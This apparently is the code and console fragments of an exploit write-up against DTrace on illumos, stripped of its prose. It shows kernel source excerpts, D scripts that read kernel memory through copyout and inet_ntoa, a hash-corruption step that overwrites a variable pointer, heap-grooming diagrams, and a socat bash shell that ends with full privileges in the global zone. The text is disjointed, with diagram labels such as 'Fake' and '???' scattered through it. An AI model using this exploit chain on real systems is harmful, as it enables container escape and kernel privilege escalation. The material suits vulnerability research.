➜ illumos-joyent git:(master) ✗ wc -l .//usr/src/uts/common/dtrace/dtrace.c
17073 .//usr/src/uts/common/dtrace/dtrace.c
OP
R1
R2
RD/RS
LABEL
RD/RS
VAR/INT/STRING
copyout(void* src, uintptr_t user_addr, size_t length);
case DIF_SUBR_COPYOUT: {
uintptr_t kaddr = tupregs[0].dttk_value;
uintptr_t uaddr = tupregs[1].dttk_value;
uint64_t size = tupregs[2].dttk_value;
if (!dtrace_destructive_disallow &&
dtrace_priv_proc_control(state, mstate) &&
!dtrace_istoxic(kaddr, size)) {
DTRACE_CPUFLAG_SET(CPU_DTRACE_NOFAULT);
dtrace_copyout(kaddr, uaddr, size, flags);
DTRACE_CPUFLAG_CLEAR(CPU_DTRACE_NOFAULT);
}
break;
}
void
dtrace_copyout(uintptr_t kaddr, uintptr_t uaddr, size_t size,
volatile uint16_t *flags)
{
if (dtrace_copycheck(uaddr, kaddr, size))
dtrace_copy(kaddr, uaddr, size);
}
static int
dtrace_copycheck(uintptr_t uaddr, uintptr_t kaddr, size_t size)
{
ASSERT(kaddr >= kernelbase && kaddr + size >= kaddr);
if (uaddr + size >= kernelbase || uaddr + size < uaddr) {
DTRACE_CPUFLAG_SET(CPU_DTRACE_BADADDR);
cpu_core[CPU->cpu_id].cpuc_dtrace_illval = uaddr;
return (0);
}
return (1);
}
syscall::ioctl:entry / arg1 == 0xDEADBEEF /
{ copyout((void*)arg2, (uintptr_t)arg3, arg4); }
char buf[sz];
ioctl(666, 0xDEADBEEF, addr, buf, sz);
dtrace -n 'BEGIN{ print(&`practive)}'
CPU ID FUNCTION:NAME
0 1 :BEGIN proc_t ** 0xfffffffffbc79eb8
typedef struct proc {
...
struct as *p_as; /* process address space pointer */
struct proc *p_next; /* active chain link next */
struct proc *p_prev; /* active chain link prev */
struct pid *p_pidp; /* process ID info */
caddr_t p_brkbase; /* base addr of heap */
struct user p_user; /* (see sys/user.h) */
} proc_t;
typedef struct user {
...
char u_comm[MAXCOMLEN + 1]; /* executable file name from exec */
char u_psargs[PSARGSZ]; /* arguments from exec */
...
} user_t;
./global_ps
PID COMMAND PSARGS BRKBASE
8024 global_ps ./global_ps 0x414b90
8015 vim vim secret.txt 0x81f8be8
./global_ps segment -p 8015
ADDRESS SIZE FLAGS
0xfec2f000 4096
0x81ef000 188416 [heap]
string inet_ntoa(ipaddr_t *addr)
case DIF_SUBR_INET_NTOA:
case DIF_SUBR_INET_NTOA6:
case DIF_SUBR_INET_NTOP: {
...
if (af == AF_INET) {
/*
* Safely load the IPv4 address.
*/
ip4 = dtrace_load32(tupregs[argi].dttk_value);
dtrace_load##bits(uintptr_t addr) \
{ \
size_t size = bits / NBBY; \
/*CSTYLED*/ \
uint##bits___t rval; \
int i; \
volatile uint16_t *flags = (volatile uint16_t *) \
&cpu_core[CPU->cpu_id].cpuc_dtrace_flags; \
\
DTRACE_ALIGNCHECK(addr, size, flags); \
\
for (i = 0; i < dtrace_toxranges; i++) { \
if (addr >= dtrace_toxrange[i].dtt_limit) \
continue; \
\
if (addr + size <= dtrace_toxrange[i].dtt_base) \
continue; \
\
*flags |= CPU_DTRACE_BADADDR; \
cpu_core[CPU->cpu_id].cpuc_dtrace_illval = addr; \
return (0); \
} \
\
*flags |= CPU_DTRACE_NOFAULT; \
/*CSTYLED*/ \
rval = *((volatile uint##bits##_t *)addr); \
*flags &= ~CPU_DTRACE_NOFAULT; \
\
return (!(*flags & CPU_DTRACE_FAULT) ? rval : 0); \
}
> dtrace -n 'BEGIN{ print(inet_ntoa((in_addr_t*)&`_mmu_pagemask))}'
dtrace: description 'BEGIN' matched 1 probe
CPU ID FUNCTION:NAME
0 1 :BEGIN string "0.240.255.255"
hash[key1, key2, key3] = value;
hashval
*next
*data
nkeys
*key value
key size
...
*key value
key size
DATA
dtrace_dynvar_t
chunkoffs = (addr - base) % dstate->dtds_chunksize;
if (chunkoffs < sizeof (dtrace_dynvar_t))
return (0);
char buf[1];
buf[0] = 0x1;
hash[1, buf] = 'h';
addr = &hash[1,buf][0] - 0x28;
*(void**)addr = &`dtrace_dynhash_sink
print(&hash[1,buf][0])
string strstr(const char *s, const char *subs)
case DIF_SUBR_STRRCHR: {
...
uintptr_t limit = addr + state->dts_options[DTRACEOPT_STRSIZE];
for (regs[rd] = NULL; addr < limit; addr++) {
if ((c = dtrace_load8(addr)) == target) {
regs[rd] = addr;
if (subr == DIF_SUBR_STRCHR)
break;
}
if (c == '\0')
break;
}
if (!dtrace_canload(saddr, addr - saddr, mstate, vstate)) {
regs[rd] = NULL;
break;
}
case DIF_OP_STGS:
id = DIF_INSTR_VAR(instr);
ASSERT(id >= DIF_VAR_OTHER_UBASE);
id -= DIF_VAR_OTHER_UBASE;
svar = vstate->dtvs_globals[id];
Dummy
Fake
Free
Free
Free
Fake
Free
Free
> kstat -n kmem_alloc_64
module: unix instance: 0
name: kmem_alloc_64 class: kmem_cache
align 64
alloc 4459955
alloc_fail 0
buf_avail 32918
buf_constructed 32859
buf_inuse 36522
buf_max 69440
buf_size 64
buf_total 69440
???
Fake
Fake
???
???
Free
Fake
???
Free Block
Fake Var Pointer
Fake Var Pointer
Fake Var Pointer
Fake Var Pointer
Fake Var Pointer
Fake Var Pointer
Real Var Pointer
Real Var Pointer
Real Var Pointer
Real Var Pointer
Real Var Pointer
Real Var Pointer
dtrace -n 'BEGIN{ x = "hello world"; print(&x[0])}'
CPU ID FUNCTION:NAME
0 1 :BEGIN char * 0xffffff00d65c7788
dtrace -n 'BEGIN{ print(&curthread->t_procp->p_user.u_rdir)}'
CPU ID FUNCTION:NAME
0 1 :BEGIN struct vnode ** 0xffffff00c8ed38b0
od -A none -j 40 -N 8 -t x8z < /proc/$$/psinfo
ffffff00c8ee9028
if (regs[rd] == NULL) {
*(uint8_t *)a = UINT8_MAX;
break;
} else {
*(uint8_t *)a = 0;
a += sizeof (uint64_t);
}
...
dtrace_vcopy((void *)(uintptr_t)regs[rd],
(void *)a, &v->dtdv_type);
typedef struct user {
..
uintptr_t u_envp; /* value of envp passed to main() */
struct vnode *u_cdir; /* current directory */
struct vnode *u_rdir; /* root directory */
..
}
echo "/usr/bin/socat UNIX-LISTEN:$PWD/badsock,fork exec:bash,stderr,setsid"
| at now + 1 minute
socat - UNIX-CONNECT:$PWD/badsock
zonename
global
ppriv $$
4553: bash
flags = <none>
E: all
I: basic
P: all
L: all